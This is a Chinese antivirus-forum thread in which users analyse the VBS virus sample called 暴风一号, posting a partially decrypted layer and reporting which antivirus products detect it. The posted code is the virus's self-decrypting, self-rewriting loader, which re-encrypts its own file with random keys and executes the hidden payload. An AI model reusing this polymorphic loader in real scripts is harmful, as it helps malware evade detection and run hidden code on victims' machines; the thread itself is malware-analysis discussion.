暴风一号 这个vbs样本怎么看代码？？

hx1997

呼，解密完成
PS: 有高人说这个还未完全解密，各位就将就吧

randomize
    set f7a5=createobject("scripting.filesystemobject")
    set f7a6=f7a5.opentextfile(wscript.scriptfullname,1)
    do until f7a6.atendofstream
            f7a7=trim(f7a6.readline)
            if left(f7a7,1)="'" then
                    f7a8=f7ad(mid(f7a7,2,len(f7a7)-3),-cint(f7ad(right(f7a7,2),-57)))
                    f7aa=int(94*rnd+1)
                    f7a9=chr(39)&f7ad(f7a8,f7aa)&f7ad(right(chr(48)&f7aa,2),57)
            else
                    f7aa=int(rnd*24000+40960)
                    f7a9=f7b0(strreverse(f7b2(strreverse(ucase(f7a7)),f7aa)))
            end if
            f7ab=f7ab&f7a8&vbcrlf
            f7ac=f7ac&f7a9&vbcrlf
            f7a8=""
            f7a9=""
    loop
    set f7a6=f7a5.opentextfile(wscript.scriptfullname,2)
    f7a6.write f7ac
    f7a6.close
    set f7a5=nothing
    execute f7ab

function f7ad(f7ae,f7aa)
    for f7af= 1 to len(f7ae)
            if asc(mid(f7ae,f7af,1))>31 and asc(mid(f7ae,f7af,1))<127 then
                    f7b1=asc(mid(f7ae,f7af,1))+f7aa
                    if f7b1>126 or f7b1<32 then
                            f7b1=f7b1-((f7b1-79)\abs(f7b1-79))*95
                    end if
            else
                    f7b1=asc(mid(f7ae,f7af,1))
            end if
            f7ad=f7ad&chr(f7b1)
    next
end function

function f7b0(f7ae)
    for f7af=1 to len(f7ae)
            f7b1=mid(f7ae,f7af,1)
            if int(rnd*2) then
                    f7b1=lcase(f7b1)
            end if
            f7b0=f7b0&f7b1
    next
end function

function f7b2(f7ae,f7aa)
    for f7af=0 to 13
            f7ae=replace(f7ae,hex(&hf7a5+f7af),hex(f7aa+f7af))
    next
    f7b2=f7ae
end function

xkx6149

回复 11楼 hx1997 的帖子

解密出来居然还是像天书一样

qianyuqx

mse kill

hx1997

回复 12楼 xkx6149 的帖子

的确，暴风一号的特点吧

开开心心

这个脚本特点就是每行被加密的代码前都加了“单引号”，就是vbs的注释的开头。
注意其中有一两行没有加注释，而且有“StRReVeRse”函数，说明了把代码串反置的方法。
从这行开始，可以把每行都解开。
莫名让我想起了用正则表达式的“乱码串”隐藏病毒网站的伎俩。

xiaoyaosanren

promised

回复 11楼 hx1997 的帖子

这只是第一层，为暴风一号自解密所用，SploitZilla点一下就出来了
但真正的明文你根本没有解出来
暴风一号的完整解密过程我的帮助文档有介绍
http://bbs.kafan.cn/thread-835291-1-1.html

hx1997

回复 17楼 promised 的帖子

以前没弄过，所以不知道
谢指出，学习...

qianyuqx

avast kill

arsh

微点解压拦截